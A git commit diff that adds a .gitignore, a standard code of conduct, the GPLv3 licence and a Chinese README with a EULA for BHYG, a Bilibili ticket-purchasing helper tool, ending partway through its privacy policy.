commit c32cdf05fb97355c33a6ec28cbc6a8a163afabd7 Author: KAAAsS Date: Mon Jul 1 00:27:51 2024 +0800 feat: v0.8.5 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..66f911e --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.venv +.idea + +# Python +*.pyc diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..9ef942c --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,128 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, religion, or sexual identity +and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the + overall community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or + advances of any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email + address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +53261506+ZianTT@users.noreply.github.com. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series +of actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or +permanent ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within +the community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.0, available at +https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. + +Community Impact Guidelines were inspired by [Mozilla's code of conduct +enforcement ladder](https://github.com/mozilla/diversity). + +[homepage]: https://www.contributor-covenant.org + +For answers to common questions about this code of conduct, see the FAQ at +https://www.contributor-covenant.org/faq. Translations are available at +https://www.contributor-covenant.org/translations. diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..3a7751e --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 2024 ZianTT + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) 2024 ZianTT + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..c17f11b --- /dev/null +++ b/README.md @@ -0,0 +1,90 @@ +# BHYG + +## 严正警告 + +目前使用人数已经超过2.4k,私下传播我忍了这风险了,b站发是不是小脑缺失了? + +如果我关门到底是黄牛得利还是我们得利自己想想清楚! + +## 总述 + +这是一款购票辅助工具。 + +TG群 + +> 请认真阅读本软件最终用户许可协议(EULA)、隐私政策后使用。 + +## 使用方法 + +> 使用前,请仔细阅读文档,在阅读完整的操作方法以及常见问题后尝试使用本软件 + +* **文档链接** [biliticket Docs](https://docs.bitf1a5h.eu.org) + + + +## 友情链接 + +### biliTickerBuy + +* 简述:一款同类购票辅助工具 + +* 链接:[mikumifa/biliTickerBuy](https://github.com/mikumifa/biliTickerBuy) + +### bilibili-ticket-python(Pre-release) + +* 简述:一款同类购票辅助工具 + +* 链接:[bilibili-ticket/bilibili-ticket-python(Pre-release)](https://github.com/bilibili-ticket/bilibili-ticket-python) + + +## BHYG最终用户许可协议(EULA) + +BHYG应用程序团队(以下简称“BHYG团队”)在此特别提醒用户认真阅读、充分理解本《BHYG最终用户许可协议》(下称“本协议”)。用户应认真阅读、充分理解本协议中各条款,特别是涉及免除或者限制BHYG团队责任、争议解决和法律适用的条款。请用户审慎阅读并选择接受或不接受本协议(未成年人应在法定监护人陪同下阅读)。用户下载、使用BHYG软件(下称“本软件”)或在启动本软件时同意本EULA等行为将视为对本协议的接受,并同意接受本协议各项条款的约束。如用户不同意本协议,请勿使用本软件。BHYG团队有权修订本协议,更新后的协议条款将公布于本页。 + +法律保护。本软件受数字千年版权法(DMCA)及中国版权法保护。 + +BHYG团队就本软件给予用户一项个人的、不可转让的、不可转授权的以及非独占性的许可。 + +用户可以为非商业目的安装、使用、显示、运行本软件。但用户不得为商业运营目的安装、使用、运行本软件,不可以对本软件或者本软件运行过程中释放到任何终端设备内存中的数据及本软件运行过程中客户端与服务器端的交互数据进行复制、更改、挂接运行或创作任何衍生作品,形式包括但不限于使用插件、外挂或非经授权的第三方工具/服务接入本软件和相关系统。如果需要进行商业性的销售、复制和散发,必须获得BHYG团队的授权和许可。 + +除本协议明示授权外,BHYG团队未授权给用户其他权利,若用户需要使用其他权利需另外取得BHYG团队的同意。 + +用户在遵守法律及本协议的前提下可依本协议使用本软件及服务,用户不得实施如下行为: + +- 删除本软件及其他副本上一切关于版权的信息,以及修改、删除或避开本软件为保护知识产权而设置的技术措施。 + +- 对本软件进行反向工程,如反汇编、反编译或者以其他方式试图获得本软件的未开放的源代码。 + +- 通过修改或伪造软件运行中的指令、数据,增加、删减、变动软件的功能或运行效果,或者将用于上述用途的软件、方法进行运营或向公众传播,无论这些行为是否出于商业目的。 + +- 用户通过非BHYG团队开发、授权或认可的第三方兼容软件、系统登录或使用本软件,或制作、发布、传播上述工具。 + +- 未经BHYG团队同意,用户对软件及其中的信息擅自实施包括但不限于下列行为:使用、出租、出借、复制、修改、链接、转载、汇编、发表、作品、服务、插件、外挂、兼容、互联等。 + +- 未经BHYG团队同意,用户使用本软件以盈利性质向他人提供有偿的服务,包括但不限于下列行为:出售使用本软件为他人提供便利的服务、在未无偿告知对方BHYG团队提供的下载渠道的情况下,提供代下载等服务。 + +- 未经BHYG团队同意,用户不得将本程序直接在bilibili官方渠道内直接或间接提及。 + +- 其他以任何不合法的方式、为任何不合法的目的、或以任何与本协议许可使用不一致的方式使用本软件。 + +用户理解并同意:BHYG团队会对用户是否涉嫌违反上述使用规范做出认定,并根据认定结果中止、终止对用户的使用许可或采取其他依本协议可采取的限制措施。 + +用户理解并同意BHYG团队可以通过自动错误追踪程序上传您的所有使用数据至第三方数据分析平台以便追踪。 + +BHYG团队有权判断用户的行为是否符合本协议条款规定,如果认为用户违反有关法律法规或者本协议、相关规则的规定,根据用户违规情形的严重程度,BHYG团队有权对用户采取限制、中止、终止用户使用本软件服务、追究用户的法律责任以及其他BHYG团队认为适合的处理措施。如果使BHYG团队遭受任何损失(包括但不限于受到任何第三方的索赔或任何行政管理部门的处罚),用户应当承担全部责任。 + +因用户使用本软件或要求BHYG团队提供特定服务时,本软件可能会调用第三方系统或第三方软件支持用户的使用或访问,使用或访问的结果由该第三方提供,用户除遵守本协议相关规则外,还应遵守第三方协议及相关规则。用户须理解并同意,在使用第三方服务时,第三方可能会对用户数据进行读取,BHYG团队不保证通过第三方系统或第三方软件支持实现的结果的安全性、准确性、有效性及其他不确定的风险,用户应审慎判断,由此引发的任何争议及损害,BHYG团队不承担任何责任。 + +## 隐私政策 + +脚本内包含可选的Sentry分析组件,详见[Sentry Privacy 